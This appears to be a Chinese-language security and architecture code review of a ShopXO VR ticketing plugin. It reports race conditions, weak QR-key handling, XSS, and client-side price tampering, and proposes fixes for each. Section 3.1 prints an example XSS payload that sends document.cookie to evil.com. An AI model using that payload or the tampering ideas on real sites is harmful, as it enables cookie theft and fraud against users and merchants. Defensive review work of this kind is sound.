vr-shopxo-plugin/reviews/code-review-BackendArchitec...

353 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters!

This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.

# vr-shopxo-plugin 代码审议报告
> 审议人BackendArchitect
> 日期2026-04-15
> 审议范围vr_ticket 插件核心代码EventListener.php、TicketService.php、BaseService.php、ticket_detail.html
> 视角Backend Architect / PHP / 数据库 / 架构完整性
---
## 一、插件架构EventListener.php / plugin.json
### 1.1 plugin.json 生命周期钩子缺失 ⚠️ 严重
**问题**plugin.json 声明了 `hooks` 数组包含两个 hook但文件中缺少关键的 **Install/Uninstall/Enable/Disable** 生命周期钩子。
```json
"hooks": [
"plugins_service_order_pay_success_handle_end",
"plugins_service_order_delete_success"
]
```
ShopXO 插件标准要求实现以下函数:
- `vr_ticket_install()` — ✅ 存在
- `vr_ticket_uninstall()` — ✅ 存在(但为空实现)
- `vr_ticket_enable()` — ❌ 缺失
- `vr_ticket_disable()` — ❌ 缺失
**影响**:插件启用/停用时无法执行必要的初始化或清理操作,可能导致菜单重复注册或权限残留。
**修复建议**
```php
function vr_ticket_enable()
{
// 注册菜单/权限
return true;
}
function vr_ticket_disable()
{
// 清理菜单/权限状态
return true;
}
```
### 1.2 ALTER TABLE 缺少兼容性检查 ⚠️ 中等
EventListener.php 第 100-103 行:
```php
$cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'");
if (empty($cols)) {
$db->query("ALTER TABLE `{$prefix}goods` ADD COLUMN `item_type` ...");
}
```
`SHOW COLUMNS` 返回的是结果集resource 或 PDOStatement不是数组直接 `empty($cols)` 判断无效。应使用 `$cols->rowCount()` 或重新查询。
### 1.3 Uninstall 空实现 ⚠️ 建议
`vr_ticket_uninstall()` 返回 `true` 但不做任何清理。虽然保留数据是合理的设计决策,但应在代码注释中明确标注「有意保留数据」,而非看起来像是未完成的占位符。
### 1.4 Upgrade 空实现 ⚠️ 建议
`vr_ticket_upgrade($old_version)` 是空实现,未来版本升级时可能遗漏数据迁移。应在首次发布时就设计好版本号比对框架。
---
## 二、票务核心TicketService.php / BaseService.php
### 2.1 onOrderPaid() 重复发放风险 — 并发漏洞 ⚠️ 严重
`TicketService.php` 第 23-68 行,**没有**任何幂等性保护。如果以下情况发生:
1. ShopXO 支付回调在短时间内触发两次(网络重试)
2. 多实例部署下两个进程同时处理同一订单
**结果**同一订单商品生成两张票inventory=1 的票出现多张)。
代码中没有任何以下保护机制:
- 事务Transaction
- 悲观锁SELECT ... FOR UPDATE
- 幂等键(已发放标志检查)
**修复建议**:在 `onOrderPaid()` 开头增加幂等检查:
```php
$existing = \Db::name(BaseService::table('tickets'))
->where('order_id', $order_id)
->find();
if (!empty($existing)) {
BaseService::log('onOrderPaid: already issued', ['order_id' => $order_id], 'info');
return true; // 已发放,跳过
}
```
### 2.2 issueTicket() 二次写入时序问题 ⚠️ 中等
第 96-126 行:
```php
$ticket_id = \Db::name(...)->insertGetId([...]); // qr_data 的 id=0
// 更新 QR 数据中的 ticket_id
if ($ticket_id > 0) {
$qr_payload['id'] = $ticket_id;
$qr_data_updated = BaseService::encryptQrData($qr_payload);
\Db::name(...)->where('id', $ticket_id)->update(['qr_data' => $qr_data_updated]);
}
```
在两步之间,如果系统读取了 ticket会得到 `id=0` 的 QR 数据(虽然 `decryptQrData` 会成功解密,但数据内容不完整)。
**修复建议**:使用数据库事务包裹,或在插入前生成 UUID 作为内部关联码,而非依赖插入后的自增 ID。
### 2.3 verifyTicket() 核销状态竞态条件 ⚠️ 严重
第 138-196 行,`verifyTicket` 使用「查询-判断-更新」三步模式:
```php
$ticket = \Db::name('tickets')->where('ticket_code', $ticket_code)->find();
if ($ticket['verify_status'] == 1) { return ... }
\Db::name('tickets')->where('id', $ticket['id'])->update(['verify_status' => 1, ...]);
```
在并发场景下,两个核销员可能同时通过状态检查,导致:
- 同一张票被核销两次(记录写入两次)
- 核销员 A 成功更新后,核销员 B 的 update 仍会执行(覆盖 verifier_id
**修复建议**:使用带条件的原子更新:
```php
$affected = \Db::name(BaseService::table('tickets'))
->where('id', $ticket['id'])
->where('verify_status', 0) // 原子条件
->update(['verify_status' => 1, 'verify_time' => $now, ...]);
if ($affected === 0) {
return ['code' => -2, 'msg' => '该票已核销'];
}
```
### 2.4 QR Secret 密钥管理问题 ⚠️ 严重
BaseService.php 第 98-107 行:
```php
private static function getQrSecret()
{
$secret = env('VR_TICKET_QR_SECRET', '');
if (!empty($secret)) {
return $secret;
}
return config('shopxo.app_key', 'shopxo_default_secret_change_me');
}
```
问题:
1. **硬编码默认值**`'shopxo_default_secret_change_me'` 若被用于生产环境QR 加密等于明文
2. **密钥与 ShopXO 共享**`app_key` 可能被用于多个目的,增加密钥泄露面
3. **无密钥强度验证**:未检查密钥长度是否满足 AES-256 要求
**修复建议**
```php
private static function getQrSecret()
{
$secret = env('VR_TICKET_QR_SECRET', '');
if (empty($secret) || strlen($secret) < 32) {
throw new \Exception('VR票务 QR 加密密钥未配置或长度不足需要32字符');
}
return $secret;
}
```
### 2.5 AES 加密模式无 HMAC 防篡改 ⚠️ 中等
`encryptQrData()` 使用 `AES-256-CBC` + `OPENSSL_RAW_DATA`,但没有对密文做 HMAC 签名。在某些 padding oracle 攻击场景下CBC 模式可能被利用。即使当前风险较低,缺乏完整性验证是设计缺陷。
**修复建议**:在加密后增加 HMAC
```php
$mac = hash_hmac('sha256', $iv . $encrypted, $secret);
return base64_encode($iv . $encrypted . $mac);
```
### 2.6 getQrCodeUrl() 明文暴露票码 ⚠️ 中等
第 220-228 行:
```php
public static function getQrCodeUrl($ticket_code)
{
$content = base64_encode(json_encode([
'type' => 'vr_ticket',
'code' => $ticket_code, // ⚠️ 未经加密的票码直接暴露
]));
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
}
```
QR 码扫描后,任何人都能从 URL 中提取 `ticket_code`(只需 `base64_decode`),无需破解加密。这使得:
1. **票码可枚举**:攻击者可遍历 1-N 的 UUID 尝试核销
2. **隐私泄露**QR 码本身不需要包含明文票码
**修复建议**QR URL 只传加密后的 payload不包含明文 ticket_code
```php
$qr_data = BaseService::encryptQrData([
'code' => $ticket_code,
// 不需要 type 明文
]);
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);
```
---
## 三、前端票务详情页ticket_detail.html
### 3.1 XSS 漏洞 — `|raw` 过滤器 ⚠️ 严重
第 125 行:
```html
<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>
```
`simple_desc` 字段内容由商家后台输入,直接用 `|raw` 输出到 HTML等于允许任意 XSS 注入。攻击者只需在商品副标题输入 `<script>document.location='https://evil.com/?c='+document.cookie</script>` 即可窃取用户 cookie。
**修复建议**
- 移除 `|raw`,使用 `|htmlspecialchars`
- 或在后端输出前统一做 XSS 过滤
### 3.2 购票数据无服务端验证 ⚠️ 严重
第 384-422 行 `submit()` 函数:
```javascript
var checkoutUrl = this.requestUrl + '?s=index/buy/index' +
'&goods_params=' + encodeURIComponent(goodsParams);
location.href = checkoutUrl;
```
购票参数(座位、票价、数量)全部由 JavaScript 计算后拼接 URL**没有任何服务端验证**。攻击者可:
1. 篡改 `price` 为 0.01,购买任意座位
2. 绕过前端座位数量限制,超购座位
3. 伪造 `extension_data` 中的 `seat_info`
**修复建议**
-`submit()` 中改为 POST 请求
- 服务端在 `plugins_service_buy_order_create_end` hook 中**重新计算价格**,不以客户端参数为准
- 添加签名验证HMAC of goods_params + secret
### 3.3 座位图渲染 XSS 风险 — 动态插入 HTML ⚠️ 中等
第 271-276 行:
```javascript
rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+
'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+
'onclick="vrTicketApp.toggleSeat(this)"></div>';
```
`seatInfo.classes` 直接拼入 HTML class 属性。虽然 class 属性本身 XSS 风险低于 innerHTML但如果 `classes` 值包含引号或特殊字符(如 `a" onclick="evil()"`),可破坏属性边界。
**修复建议**:对 `seatInfo.classes` 做属性值转义:
```javascript
var safeClasses = (seatInfo.classes || '').replace(/"/g, '&quot;');
```
### 3.4 观演人表单无服务端验证 ⚠️ 中等
`attendeeData`(第 395-407 行)收集的姓名、手机、身份证直接存入订单扩展数据,没有任何:
- 格式验证(手机号正则、身份证号校验)
- 长度限制
- 恶意内容过滤(`<script>` 等)
**修复建议**:在提交前增加正则校验,并在 `onOrderPaid()` 中增加服务端验证。
### 3.5 `loadSoldSeats()` 完全未实现 ⚠️ 中等
第 370-378 行的函数是 TODO 空实现。这意味着:
- 用户在选座时看不到已售座位
- 可能出现「选了但实际已售出」的情况
- 座位锁机制缺失
**修复建议**:实现从后端 API 加载已售座位数据并配合服务端座位锁Redis 或数据库行锁)。
---
## 四、数据库 Schema
### 4.1 `vr_seat_templates.spec_base_id_map` 为 LONGTEXT 但无索引 ⚠️ 建议
座位模板表存储 `seat_map``spec_base_id_map`座位ID到spec_base_id的映射但在 `vr_tickets` 表中查询时使用 `spec_base_id` 字段,而该字段没有**单独的索引**(只有联合索引 `idx_goods_id`)。
`vr_tickets.spec_base_id` 应有独立索引:
```sql
KEY `idx_spec_base_id` (`spec_base_id`)
```
### 4.2 `vr_verifications` 无唯一约束防重复 ⚠️ 建议
核销记录表(第 83-97 行)在第 93 行定义 `idx_ticket_id`,但没有唯一约束。并发核销时可能产生多条重复记录。
### 4.3 `vr_tickets.goods_snapshot` TEXT 字段用于 JSON ⚠️ 轻微
第 43 行存储商品快照为 TEXT但代码中直接 `json_encode/json_decode`。这在实际使用中没问题,但建议:
- 添加 CHECK 约束MySQL 8+)验证 JSON 格式
- 或使用 JSON 类型字段MySQL 5.7+
### 4.4 字符集一致性 ⚠️ 轻微
EventListener.php 使用 `utf8mb4_general_ci`ShopXO 官方表可能使用 `utf8mb4_unicode_ci`。混用 COLLATE 可能影响排序结果一致性,建议统一。
---
## 五、安全性综合评估
| 风险项 | 严重度 | 类型 | 状态 |
|---|---|---|---|
| onOrderPaid() 无幂等性,并发重复发票 | 严重 | 业务逻辑 | 存在 |
| verifyTicket() 核销竞态条件 | 严重 | 业务逻辑 | 存在 |
| QR Secret 默认密钥 | 严重 | 密钥管理 | 存在 |
| goods.simple_desc XSS`\|raw` | 严重 | XSS | 存在 |
| 购票参数无服务端验证 | 严重 | 业务逻辑 | 存在 |
| AES 无 HMAC 防篡改 | 中等 | 加密 | 存在 |
| getQrCodeUrl() 明文票码 | 中等 | 隐私/枚举 | 存在 |
| 观演人表单无服务端校验 | 中等 | 输入验证 | 存在 |
| loadSoldSeats() 未实现 | 中等 | 功能缺失 | 存在 |
| ALTER TABLE 兼容性判断错误 | 中等 | 兼容性 | 存在 |
| Enable/Disable 钩子缺失 | 中等 | 架构 | 存在 |
| Uninstall 空实现 | 轻微 | 架构 | 存在 |
---
## 六、总结
### 架构评价
插件架构基本合理,利用了 ShopXO 的 Hook 机制扩展核心功能,避免修改 ShopXO 源码。AES-256-CBC 加密实现本身正确QR 生成链路清晰。但**并发安全**和**服务端校验**是最大短板,在一个真实部署的票务系统中会导致「一票多发」和「价格篡改」问题。
### 最优先修复项
1. **立即**:在 `onOrderPaid()` 增加幂等性检查(防重复发票)
2. **立即**:移除 `|raw` XSS 漏洞(任意用户 cookie 窃取)
3. **立即**:在 `verifyTicket()` 使用原子条件更新(防双重核销)
4. **立即**:配置有效的 `VR_TICKET_QR_SECRET` 环境变量(防 QR 伪造)
5. **高优先级**:购票参数添加服务端验签和价格重算
### 整体评分
| 维度 | 评分1-10 |
|---|---|
| 架构完整性 | 7 |
| 并发安全 | 3 |
| 输入安全 | 4 |
| 加密实现 | 6 |
| 代码质量 | 6 |
| **综合** | **5.2** |